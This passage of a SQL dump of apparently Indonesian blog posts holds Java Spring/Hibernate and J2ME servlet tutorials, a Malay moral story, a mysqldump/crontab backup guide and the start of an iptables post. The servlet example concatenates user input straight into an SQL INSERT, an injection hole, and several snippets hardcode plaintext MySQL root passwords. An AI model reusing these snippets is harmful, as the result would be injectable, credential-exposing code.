javax.persistence.Basic;\r\nimport javax.persistence.Column;\r\nimport javax.persistence.Entity;\r\nimport javax.persistence.Id;\r\nimport javax.persistence.NamedQueries;\r\nimport javax.persistence.NamedQuery;\r\nimport javax.persistence.Table;\r\n\r\n/**\r\n *\r\n * @author mamat-dev\r\n */\r\n@Entity\r\n@Table(name = \"customer\")\r\n@NamedQueries({@NamedQuery(name = \"Customer.findAll\", query = \"SELECT c FROM Customer c\"), \r\n@NamedQuery(name = \"Customer.findById\", query = \"SELECT c FROM Customer c WHERE c.id = :id\"), \r\n@NamedQuery(name = \"Customer.findByFirstname\", query = \"SELECT c FROM Customer c WHERE c.firstname = :firstname\"), \r\n@NamedQuery(name = \"Customer.findByLastname\", query = \"SELECT c FROM Customer c WHERE c.lastname = :lastname\"), \r\n@NamedQuery(name = \"Customer.findByAge\", query = \"SELECT c FROM Customer c WHERE c.age = :age\")})\r\npublic class Customer implements Serializable {\r\n private static final long serialVersionUID = 1L;\r\n @Id\r\n @Basic(optional = false)\r\n @Column(name = \"id\")\r\n private Integer id;\r\n @Column(name = \"firstname\")\r\n private String firstname;\r\n @Column(name = \"lastname\")\r\n private String lastname;\r\n @Column(name = \"age\")\r\n private Integer age;\r\n\r\n public Customer() {\r\n }\r\n\r\n public Customer(Integer id) {\r\n this.id = id;\r\n }\r\n\r\n public Integer getId() {\r\n return id;\r\n }\r\n\r\n public void setId(Integer id) {\r\n this.id = id;\r\n }\r\n\r\n public String getFirstname() {\r\n return firstname;\r\n }\r\n\r\n public void setFirstname(String firstname) {\r\n this.firstname = firstname;\r\n }\r\n\r\n public String getLastname() {\r\n return lastname;\r\n }\r\n\r\n public void setLastname(String lastname) {\r\n this.lastname = lastname;\r\n }\r\n\r\n public Integer getAge() {\r\n return age;\r\n }\r\n\r\n public void setAge(Integer age) {\r\n this.age = age;\r\n }\r\n\r\n @Override\r\n public int hashCode() {\r\n int hash = 0;\r\n hash += (id != null ? id.hashCode() : 0);\r\n return hash;\r\n }\r\n\r\n @Override\r\n public boolean equals(Object object) {\r\n // TODO: Warning - this method won\'t work in the case the id fields are not set\r\n if (!(object instanceof Customer)) {\r\n return false;\r\n }\r\n Customer other = (Customer) object;\r\n if ((this.id == null && other.id != null) || (this.id != null && !this.id.equals(other.id))) {\r\n return false;\r\n }\r\n return true;\r\n }\r\n\r\n @Override\r\n public String toString() {\r\n return \"test.hibernate.pojo.Customer[id=\" + id + \"]\";\r\n }\r\n\r\n}\r\n[/code]\r\n\r\nOk setelah kita membuat POJO kita lanjutkan untuk membuat DAO. Dao ini di extends agar bisa mengaksess database. Dalam Dao ini nantinya digunakan untuk membuat method-method sesuai dengan keperluan. Nah untuk kesempatan ini kita hanya akan membuat method satu saja yaitu select All data pada table. Berikut contohnya:\r\n[code]\r\npackage test.hibernate.dao;\r\n\r\nimport java.util.List;\r\nimport org.hibernate.SessionFactory;\r\nimport org.springframework.beans.factory.annotation.Autowired;\r\nimport org.springframework.orm.hibernate3.support.HibernateDaoSupport;\r\nimport org.springframework.stereotype.Repository;\r\nimport test.hibernate.pojo.Customer;\r\n\r\n/**\r\n *\r\n * @author mamat-dev\r\n */\r\n@Repository(\"CustomerDao\")\r\npublic class CustomerDao extends HibernateDaoSupport {\r\n\r\n @Autowired\r\n public void setSession(SessionFactory sessionFactory) {\r\n super.setSessionFactory(sessionFactory);\r\n }\r\n\r\n public List<Customer> getCustomerAll(){\r\n \r\n return getHibernateTemplate().findByNamedQuery(\"Customer.findAll\");\r\n }\r\n}\r\n[/code]\r\n\r\nSekarang kita bikin controllernya untuk model MVC, berikut ini hasil code nya:\r\n[code]\r\npackage test.controller;\r\n\r\nimport java.util.List;\r\nimport javax.servlet.http.HttpServletRequest;\r\nimport javax.servlet.http.HttpServletResponse;\r\nimport org.springframework.web.servlet.ModelAndView;\r\nimport org.springframework.web.servlet.mvc.AbstractController;\r\nimport test.hibernate.dao.CustomerDao;\r\nimport test.hibernate.pojo.Customer;\r\n\r\n/**\r\n *\r\n * @author mamat-dev\r\n */\r\npublic class CustomerController extends AbstractController {\r\n\r\n @Override\r\n protected ModelAndView handleRequestInternal(HttpServletRequest arg0, HttpServletResponse arg1) throws Exception {\r\n\r\n CustomerDao dao = (CustomerDao)getApplicationContext().getBean(\"CustomerDao\");\r\n List<Customer> rows = dao.getCustomerAll();\r\n System.out.println(rows.size());\r\n ModelAndView mav = new ModelAndView(\"test\");\r\n mav.addObject(\"rows\",rows);\r\n return mav;\r\n }\r\n\r\n}\r\n[/code]\r\n\r\nSetelah Controller kita bikin View-nya \r\n[code]\r\n&lt;%-- <br />&nbsp;&nbsp;&nbsp; Document&nbsp;&nbsp; : test<br />&nbsp;&nbsp;&nbsp; Created on : Dec 13, 2008, 10:26:33 PM<br />&nbsp;&nbsp;&nbsp; Author&nbsp;&nbsp;&nbsp;&nbsp; : mamat-dev<br />--%&gt;<br /><br />&lt;%@ taglib uri=&quot;http://java.sun.com/jstl/core_rt&quot; prefix=&quot;c&quot; %&gt;<br />&lt;html&gt;<br />&nbsp;&nbsp;&nbsp; &lt;head&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;title&gt;View Data&lt;/title&gt;<br />&nbsp;&nbsp;&nbsp; &lt;/head&gt;<br />&nbsp;&nbsp;&nbsp; &lt;body&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;table border=&quot;1&quot; width=&quot;100%&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;thead&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;th&gt;First Name&lt;/th&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;th&gt;Lase Name&lt;/th&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;th&gt;Age&lt;/th&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/thead&gt;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;c:forEach items=&quot;${rows}&quot; var=&quot;rows&quot;&nbsp; varStatus=&quot;status&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;a href=&quot;detail.htm?id=${rows.id}&quot;&gt;${rows.firstname}&lt;/a&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td&gt; ${rows.lastname}&lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td&gt; ${rows.age}&lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/c:forEach&gt;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/table&gt;<br /><br />&nbsp;&nbsp;&nbsp; &lt;/body&gt;<br />&lt;/html&gt;<br />\r\n[/code]\r\n\r\nConnection dan setting hibernate di fil \"applicationContext.xml\"\r\n[code]\r\n&lt;bean id=&quot;propertyConfigurer&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class=&quot;org.springframework.beans.factory.config.PropertyPlaceholderConfigurer&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p:location=&quot;/WEB-INF/jdbc.properties&quot; /&gt;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp;&nbsp; &lt;bean id=&quot;dataSource&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class=&quot;org.springframework.jdbc.datasource.DriverManagerDataSource&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p:driverClassName=&quot;${jdbc.driver}&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p:url=&quot;${jdbc.url}&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p:username=&quot;${jdbc.username}&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p:password=&quot;${jdbc.password}&quot; /&gt;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp;&nbsp; &lt;!-- ADD PERSISTENCE SUPPORT HERE (jpa, hibernate, etc) --&gt;<br /><br />&nbsp;&nbsp;&nbsp; &lt;bean<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; id=&quot;sessionFactory&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class=&quot;org.springframework.orm.hibernate3.LocalSessionFactoryBean&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name=&quot;configLocation&quot; value=&quot;classpath:hibernate.cfg.xml&quot;/&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name=&quot;configurationClass&quot; value=&quot;org.hibernate.cfg.AnnotationConfiguration&quot;/&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name=&quot;hibernateProperties&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;props&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;prop key=&quot;hibernate.dialect&quot;&gt;${hibernate.dialect}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/prop&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;prop key=&quot;hibernate.show_sql&quot;&gt;${hibernate.show_sql}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/prop&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/props&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/property&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name=&quot;dataSource&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;ref bean=&quot;dataSource&quot; /&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/property&gt;<br />&nbsp;&nbsp;&nbsp; &lt;/bean&gt;<br /><br />&nbsp;&nbsp;&nbsp; &lt;!--DAO--&gt;<br />&nbsp;&nbsp;&nbsp; &lt;bean id=&quot;CustomerDao&quot; class=&quot;test.hibernate.dao.CustomerDao&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name=&quot;sessionFactory&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;ref bean=&quot;sessionFactory&quot;/&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/property&gt;<br />&nbsp;&nbsp;&nbsp; &lt;/bean&gt;\r\n[/code]\r\n\r\nDatabase setting konnektion di \"/WEB-INF/jdbc.properties\"\r\n[code]\r\n# and open the template in the editor.\r\njdbc.username=root\r\njdbc.password=112233\r\njdbc.url=jdbc:mysql://localhost:3306/test\r\njdbc.driver=com.mysql.jdbc.Driver\r\n\r\n# hibernate specific properties\r\nhibernate.dialect=org.hibernate.dialect.MySQLDialect\r\nhibernate.show_sql=true\r\nhibernate.hbm2ddl.auto=create\r\nhibernate.format_sql=true\r\n[/code]\r\n\r\nSetting path pada \"dispatcher-servlet.xml\"\r\n[code]\r\n&lt;bean id=&quot;urlMapping&quot; class=&quot;org.springframework.web.servlet.handler.SimpleUrlHandlerMapping&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name=&quot;mappings&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;props&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;prop key=&quot;index.htm&quot;&gt;indexController&lt;/prop&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;prop key=&quot;test.htm&quot;&gt;customerController&lt;/prop&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/props&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/property&gt;<br />&nbsp;&nbsp;&nbsp; &lt;/bean&gt;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp;&nbsp; &lt;bean id=&quot;viewResolver&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class=&quot;org.springframework.web.servlet.view.InternalResourceViewResolver&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p:prefix=&quot;/WEB-INF/jsp/&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p:suffix=&quot;.jsp&quot; /&gt;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp;&nbsp; &lt;!--<br />&nbsp;&nbsp;&nbsp; The index controller.<br />&nbsp;&nbsp;&nbsp; --&gt;<br />&nbsp;&nbsp;&nbsp; &lt;bean name=&quot;indexController&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class=&quot;org.springframework.web.servlet.mvc.ParameterizableViewController&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p:viewName=&quot;index&quot; /&gt;<br />&nbsp;&nbsp;&nbsp; &lt;bean name=&quot;customerController&quot; class=&quot;test.controller.CustomerController&quot;/&gt;\r\n[/code]\r\n\r\nOk .. good luck..\r\n',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (131,'2009-01-18 21:20:18','Si Sopak, Si Botak Dan Si Buta','Pada suatu hari Allah memerintahkan malaikat bertemu dengan tiga orang Bani Israil. Ketiga-tiga mereka cacat; seorang botak, seorang sopak dan seorang lagi buta. \r\n\r\nMalaikat yang menyamar seperti manusia itu bertanya si-sopak \"Jika Allah hendak kurniakan sesuatu untuk kamu, apakah yang kamu mahu?\" Si-sopak menjawab, \"Saya mahu kulit saya sembuh seperti biasa dan diberi kekayaan yang banyak.\" Dengan takdir Allah, kulitnya kembali sembuh dan dikurniakan rezeki yang banyak. \r\n\r\nKemudian malaikat bertanya si-botak soalan yang sama. Si-botak menjawab, \"Saya mahu kepala saya berambut semula supaya kelihatan kacak dan diberikan harta yang banyak.\" Tiba-tiba, dengan kurnia Allah si-botak itu kembali berambut dan diberikan harta yang banyak. \r\n\r\nSelepas itu malaikat bertanya si-buta pertanyaan yang sama. Si-buta menjawab, \"Saya hendak mata saya dicelikkan semula dan diberikan harta yang banyak.\" Dengan takdir Allah, mata si-buta menjadi celik dan dikurniakan kekayaan yang melimpah. \r\n\r\nSelang beberapa bulan, Allah memerintahkan semula malaikat untuk berjumpa dengan ketiga-tiga orang cacat itu. Kali ini malaikat menyamar sebagai peminta sedekah. Dia berjumpa dengan orang pertama yang dulunya sopak dan meminta sedikit wang. \'Si-sopak\' itu tidak menghulurkan sebarang bantuan malah mengherdik malaikat. Malaikat berkata, \"Saya rasa saya kenal kamu. Dulu kamu sopak..dan miskin. Allah telah menolong kamu.\" Si-sopak tidak mengaku. Dengan kuasa Allah, si-sopak yang sombong itu bertukar menjadi sopak semula dan bertukar menjadi miskin. \r\n\r\nKemudian malaikat berjumpa dengan si-botak yang telah menjadi kaya dan berambut lebat. Apabila malaikat meminta bantuan, si-botak juga enggan membantu, malahan dia tidak mengaku bahawa dia dulu botak. Oleh sebab sombong dan tidak sedar diri, Allah menjadikan kepalanya botak semula dan bertukar menjadi miskin. \r\n\r\nMalaikat berjumpa dengan orang buta yang telah diberikan penglihatan. Apabila malaikat meminta bantuan, si-buta memberikan keseluruhan hartanya dan berkata, \"Ini semua harta pemberiaan Allah. Ambillah kesemuanya. Mata saya yang kembali celik ini adalah lebih berharga daripada kesemua harta ini.\" Malaikat tidak mengambil pemberian itu. Dia memberitahu bahawa dia adalah malaikat yang pernah datang dulu. Kedatangannya kali ini ialah untuk menguji siapa di antara mereka bertiga yang bersyukur. \r\n\r\nSi-buta yang bersyukur itu terus dapat menikmati kekayaan dan penglihatannya. Manakala si-sopak dan si-botak kekal dengan keadaannya yang asal. \r\n \r\n<i>Sesuatu yang bernyawa tidak akan mati melainkan dengan izin Allah, sebagai ketetapan yang telah ditentukan waktunya. Barangsiapa menghendaki pahala dunia, niscaya Kami berikan kepadanya pahala dunia itu, dan barangsiapa menghendaki pahala akhirat, Kami berikan (pula) kepadanya pahala akhirat. Dan Kami akan memberi balasan kepada orang-orang yang berSYUKUR. (QS.Ali \'Imran( 3):145)</i>\r\nMoral & Iktibar\r\n\r\nAllah mengurniakan kesenangan dan keselesaan adalah sebagai ujian untuk melihat siapakah di antara mereka yang bersyukur. \r\n\r\nManusia yang bersyukur Allah akan tambah kurniaan sebaliknya manusia yang kufur akan diazab oleh Allah. \r\n\r\nManusia seringkali lupa daratan apabila diberikan kemewahan dan kesenangan. \r\n\r\nSangat sedikit hamba Allah yang bersyukur. \r\nSiapa yang tidak bersyukur kepada manusia, dia tidak akan bersyukur kepada Allah. \r\n\r\nAllah memberi kurnia kepada sesiapa yang dikehendakiNya dan menarik nikmat daripada siapa sahaja yang dikehendakiNya. \r\n\r\nSifat syukur adalah satu sifat yang terpuji, sebaliknya kufur (kufur nikmat) adalah sifat yang dicela oleh Allah.\r\n\r\n<i>Kisah Teladan</i>',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (132,'2009-01-21 04:49:00','J2ME HTTP Connection Send Text and Send Image then catch using Servlet','Pada kesempatan ini kita akan membahas bagaimana kita dapat melakukan komunikasi antara J2ME dengan Server yang pada kasus ini kita menggunakan Servlet. Sedangkan untuk menangkap request dari J2ME ini tidak harus menggunakan Servlet kita bisa menangkapnya menggunakan PHP, ASP, RUBY, CFM, dan lain-lainnya.\r\n\r\nYang terpenting dari komunikasi antara J2ME dan Server adalah modul HTTPConnection. Dimana HttpConnection ini lah yang digunakan untuk melakukan request ke server. Kita bisa mengirim data dengan methode POST dan GET. Bila masih belum paham dengan 2 jenis methode ini, yaitu : keunggulan dari methode POST adalah tidak ditampilkannya data melalui URL, sedang GET melakukan request dengan mengirim data pada URL.\r\n\r\nUntuk source code anda bisa ambil menggunakan SVN dengan alamat. \r\n[code]\r\n#SVN\r\nsvn checkout http://explorecode.googlecode.com/svn/trunk/J2ME and Webserver explorecode-read-only\r\n\r\n#BROWSING\r\nhttp://code.google.com/p/explorecode/source/browse/#svn/trunk/J2ME%20and%20Webserver\r\n[/code]\r\nTujuan akhir dari contoh project ini adalah mengiri data text dan mengirim data berupa Image. Untuk contoh saat ini sample yang ada pada Google SVN Server adalah menu untuk mengirim Teks ke server. Sendangkan untuk mengirim Image ke server akan dibahas pada modul selanjutnya. Ini dikarenakan keterbatas waktu :P...hehe...mohon doanya biar penulis mempunyai waktu luang dengan tidak mengurangi rejeki ... :D\r\n\r\nBagaimana cara membuatnya? \r\nYuhu ini sangat simple berikut ini adalah potongan terpenting dari contoh yang kita buat untuk mengirim Text ke server Servlet.\r\nBerikut ini adalah code pada J2ME saat mengirim data ke server\r\n[code]\r\nnew Thread(new Runnable() {\r\n\r\n public void run() {\r\n HttpConnection hc = null;\r\n InputStream in = null;\r\n OutputStream out = null;\r\n\r\n try {\r\n String message = \"message=\"+tFSend.getString();\r\n String url = \"http://localhost:8080/WebJ2MEConnection/Save\";\r\n hc = (HttpConnection) Connector.open(url);\r\n hc.setRequestMethod(HttpConnection.POST);\r\n hc.setRequestProperty(\"Content-Type\",\r\n \"application/x-www-form-urlencoded\");\r\n hc.setRequestProperty(\"Content-Length\",\r\n Integer.toString(message.length()));\r\n out = hc.openOutputStream();\r\n out.write(message.getBytes());\r\n in = hc.openInputStream();\r\n int length = (int) hc.getLength();\r\n byte[] data = new byte[length];\r\n in.read(data);\r\n String response = new String(data);\r\n sIStatus.setLabel(\"Success Send\");\r\n sIStatus.setText(response);\r\n\r\n } catch (IOException e) {\r\n sIStatus.setLabel(\"Error Send\");\r\n sIStatus.setText(\"Connection failed\");\r\n } finally {\r\n try {\r\n if (out != null) {\r\n out.close();\r\n }\r\n if (in != null) {\r\n in.close();\r\n }\r\n if (hc != null) {\r\n hc.close();\r\n }\r\n } catch (IOException ioe) {\r\n }\r\n\r\n }\r\n }\r\n }).start();\r\n[/code]\r\n\r\nUntuk menangkap Data yang dikirim menggunakan J2ME berikut adalah potongan script servletnya\r\n[code]\r\nprotected void processRequest(HttpServletRequest request, HttpServletResponse response)\r\n throws ServletException, IOException, SQLException {\r\n response.setContentType(\"text/html;charset=UTF-8\");\r\n PrintWriter out = response.getWriter();\r\n try {\r\n /* TODO output your page here */\r\n Connection con = null;\r\n try {\r\n Class.forName(\"com.mysql.jdbc.Driver\");\r\n } catch (ClassNotFoundException cnf) {\r\n System.out.println(\"ERror:\" + cnf);\r\n }\r\n try {\r\n String strCon = \"jdbc:mysql://localhost:3306/test\";\r\n con = DriverManager.getConnection(strCon, \"root\", \"112233\");\r\n } catch (SQLException se) {\r\n System.out.println(\"Koneksi gagal\" + se);\r\n }\r\n\r\n Statement st = con.createStatement();\r\n String message = request.getParameter(\"message\");\r\n boolean cek = st.execute(\"insert into testtb (testdesc) value (\'\"+message+\"\')\");\r\n out.print(\"insert berhasil\");\r\n } catch (Exception e){\r\n out.print(\"insert gagal\");\r\n } finally {\r\n out.close();\r\n }\r\n }\r\n[/code]\r\n\r\nOk simple kan, Nah Capther selanjutnya adalah bagaimana kita mengirim Image/Gambar yang ada di Server tunggu...yak...sabar-sabar. Kita juga lagi sabar nunggu waktu luwang :P\r\n',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (133,'2009-02-23 14:22:54','Mysql Automatic Data Recovery using Mysqldump and Crontab','Mysql Automatic Data Recovery\r\n\r\nMysql sangat ringan, cepat, stabil dan handal. Namun dari segala kelebihan tersebut, mysql mempunyai maintenance yang lumayan. Jangan bandingkan denga Oracle, DB2 dan MSSQL Server. Yang mempunyai fitur untuk backup recovery yang handal. Untuk mysql kita buat sendiri.\r\n\r\nBerikut ini adalah contoh untuk membuat, Recovery automatic kita akan memanfaatkan crotab pada LINUX dan MYSQLDUMP.\r\n\r\nCRONTAB\r\n=======\r\n[code]\r\n* * * * * ...sintak....\r\n\r\nmenit jam tgl bulan tahun .......sintak...\r\n\r\n[/code]\r\n\r\nMYSQLDUMP\r\n=========\r\n[code]\r\ncontoh sintak mysqldump:\r\n//backup data perdatabase\r\n#mysqldump -u root -ppassword --database database --complete-insert > backup.sql\r\n//atau\r\n#mysqldump -u root -ppassword -B database -c > backup.sql\r\n\r\n//backup data semua database\r\n#mysqldump -u root -ppassword --all-database --complete-insert > backup.sql\r\n//atau\r\n#mysqldump -u root -ppassword -Ac > backup.sql\r\n[/code]\r\n\r\nNah sekarang bagai mana akar kita bisa membackup database secara otomatis. Kasus: kita ingin membackup semua database pada jam 12 malam. Buat Bash Script \\\"mysqlrecovery.sh\\\". Kita akan menggunakan GZIP agar setelah selesai didump akan dilakukan compresi, ini sangat penting untuk melakukan penghematan ruang disk.\r\n[code]\r\n#!/bin/sh\r\n\r\ndate=`date +%Y-%m-%d_%Hh%M`\r\n\r\nmysqldump -u root -pgetuktelo -Ac > /root/data/$date.sql\r\ngzip /root/data/$date.sql\r\n\r\n[/code]\r\n\r\nScript di atas kita taruh di Crontab\r\n[code]\r\n#crontab -e\r\n[/code]\r\n\r\nMasukkan path file \\\"mysqlrecover.sh\\\" yang kita buat tadi.\r\n[code]\r\n#BACKUP MYSQL --ALL, akan menyimpan data di /root/data\r\n* 0 * * * ./root/data/mysqlrecovery.sh\r\n[/code]\r\n\r\nDan hasilnya adalah sebagai beriktu\r\n[code]\r\n# ls data -l\r\ntotal 1664\r\n-rw-r--r-- 1 root root 1697704 2009-02-23 12:10 2009-02-23_00h10.sql.gz\r\n[/code]\r\n\r\nDemikian moga bermanfaat. :)',1,1,8);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (134,'2009-02-26 20:58:37','Membuat Firewall dengan Iptables','Membuat Firewall dengan Iptables\r\n\r\nYak berikut ini adalah security wajib bagi yang punya server Linux. Tujuan posting kali ini biar tidak kelamaan waktu ngetik bila ada server lagi :P. Pada dasarnya jika anda mempunyai server pastikan bahwa port standar ganti dengan port yang tidak wajar yang harus dirubah adalah SSH dan FTP server anda. Kalau web server sih tetep 80, tetapi jika anda mempunyai web server pastikan anda sudah meng-install \"mod_security\". Soalnya kemungkinan celah code program dari programer sangat mungkin, karen port 80 dibuka secara umum.\r\n\r\nBerikut ini adalah contoh penerapan firewall dengan iptables. Yang terpenting dari security adalah buatlah password sepanjang mungkin dengan kombinasi angka dan huruf. Karena jika password ada lemah dan berbau kata yang dilingkungan anda hehe :P, wasalam. Karena banyak hacker yang bisa membaca pola pikir para admin, dan menemukan password anda dengan mudah karena kebanyakan 